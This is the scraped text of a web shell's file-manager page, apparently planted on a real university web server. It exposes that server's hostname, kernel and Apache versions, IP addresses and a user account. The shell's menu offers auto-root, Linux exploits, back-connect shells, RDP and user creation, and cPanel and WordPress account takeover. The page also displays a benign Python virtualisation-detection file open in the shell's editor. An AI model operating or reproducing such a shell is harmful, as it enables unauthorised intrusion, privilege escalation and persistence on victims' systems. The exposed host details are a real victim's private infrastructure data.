Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.135.201.22
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
landscape /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
apt
[ DIR ]
drwxr-xr-x
__init__.py
198
B
-rw-r--r--
amp.py
21.24
KB
-rw-r--r--
backoff.py
1.64
KB
-rw-r--r--
base64.py
196
B
-rw-r--r--
bootstrap.py
1.38
KB
-rw-r--r--
bpickle.py
6.32
KB
-rw-r--r--
cli.py
440
B
-rw-r--r--
cloud.py
1.67
KB
-rw-r--r--
compat.py
616
B
-rw-r--r--
config.py
12.19
KB
-rw-r--r--
disk.py
4.91
KB
-rw-r--r--
encoding.py
545
B
-rw-r--r--
fd.py
751
B
-rw-r--r--
fetch.py
6.49
KB
-rw-r--r--
format.py
959
B
-rw-r--r--
fs.py
3.8
KB
-rw-r--r--
gpg.py
1.75
KB
-rw-r--r--
hashlib.py
264
B
-rw-r--r--
jiffies.py
1.58
KB
-rw-r--r--
juju.py
860
B
-rw-r--r--
lock.py
705
B
-rw-r--r--
log.py
484
B
-rw-r--r--
logging.py
2.47
KB
-rw-r--r--
lsb_release.py
1.82
KB
-rw-r--r--
message.py
2.58
KB
-rw-r--r--
monitor.py
6.13
KB
-rw-r--r--
network.py
9.54
KB
-rw-r--r--
persist.py
20.5
KB
-rw-r--r--
plugin.py
1.75
KB
-rw-r--r--
process.py
6.45
KB
-rw-r--r--
reactor.py
8.61
KB
-rw-r--r--
schema.py
6.31
KB
-rw-r--r--
scriptcontent.py
522
B
-rw-r--r--
sequenceranges.py
5.59
KB
-rw-r--r--
store.py
1.38
KB
-rw-r--r--
sysstats.py
7.73
KB
-rw-r--r--
tag.py
506
B
-rw-r--r--
testing.py
24.08
KB
-rw-r--r--
timestamp.py
233
B
-rw-r--r--
twisted_util.py
4.37
KB
-rw-r--r--
user.py
1.44
KB
-rw-r--r--
versioning.py
1.24
KB
-rw-r--r--
vm_info.py
3.1
KB
-rw-r--r--
warning.py
394
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : vm_info.py
""" Network introspection utilities using ioctl and the /proc filesystem. """ import os from landscape.lib.fs import read_binary_file, read_text_file DMI_FILES = ("sys_vendor", "chassis_vendor", "bios_vendor", "product_name") def get_vm_info(root_path="/"): """ Return a bytestring with the virtualization type if it's known, an empty bytestring otherwise. It loops through some possible configurations and return a bytestring with the name of the technology being used or None if there's no match """ if _is_vm_openvz(root_path): return b"openvz" if _is_vm_xen(root_path): return b"xen" # Iterate through all dmi *_vendors, as clouds can (and will) customize # sysinfo values. (https://libvirt.org/formatdomain.html#elementsSysinfo) dmi_info_path = os.path.join(root_path, "sys/class/dmi/id") for dmi_info_file in DMI_FILES: dmi_vendor_path = os.path.join(dmi_info_path, dmi_info_file) if not os.path.exists(dmi_vendor_path): continue vendor = _get_vm_by_vendor(dmi_vendor_path) if vendor: return vendor return _get_vm_legacy(root_path) def get_container_info(run_path="/run"): """ Return a string with the type of container the client is running in, if any, an empty string otherwise. """ for filename in ("container_type", "systemd/container"): path = os.path.join(run_path, filename) if os.path.exists(path): return read_text_file(path).strip() return "" def _is_vm_xen(root_path): """Check if the host is virtualized with Xen.""" sys_xen_path = os.path.join(root_path, "sys/bus/xen/devices") # Paravirtualized and HVM instances have device links under the directory return os.path.isdir(sys_xen_path) and os.listdir(sys_xen_path) def _is_vm_openvz(root_path): """Check if the host is virtualized with OpenVZ.""" return os.path.exists(os.path.join(root_path, "proc/vz")) def _get_vm_by_vendor(sys_vendor_path): """Return the VM type byte string (possibly empty) based on the vendor.""" # Use lower-key string for vendors, since we do case-insentive match. # We need bytes here as required by the message schema. vendor = read_binary_file(sys_vendor_path, limit=1024).lower() content_vendors_map = ( (b"amazon ec2", b"kvm"), (b"bochs", b"kvm"), (b"digitalocean", b"kvm"), (b"google", b"gce"), (b"innotek", b"virtualbox"), (b"microsoft", b"hyperv"), (b"nutanix", b"kvm"), (b"openstack", b"kvm"), (b"qemu", b"kvm"), (b"kvm", b"kvm"), (b"vmware", b"vmware"), (b"rhev", b"kvm"), (b"parallels", b"kvm") ) for name, vm_type in content_vendors_map: if name in vendor: return vm_type return b"" def _get_vm_legacy(root_path): """Check if the host is virtualized looking at /proc/cpuinfo content.""" try: cpuinfo = read_text_file(os.path.join(root_path, "proc/cpuinfo")) except (IOError, OSError): return b"" if "qemu" in cpuinfo: return b"kvm" return b""
Close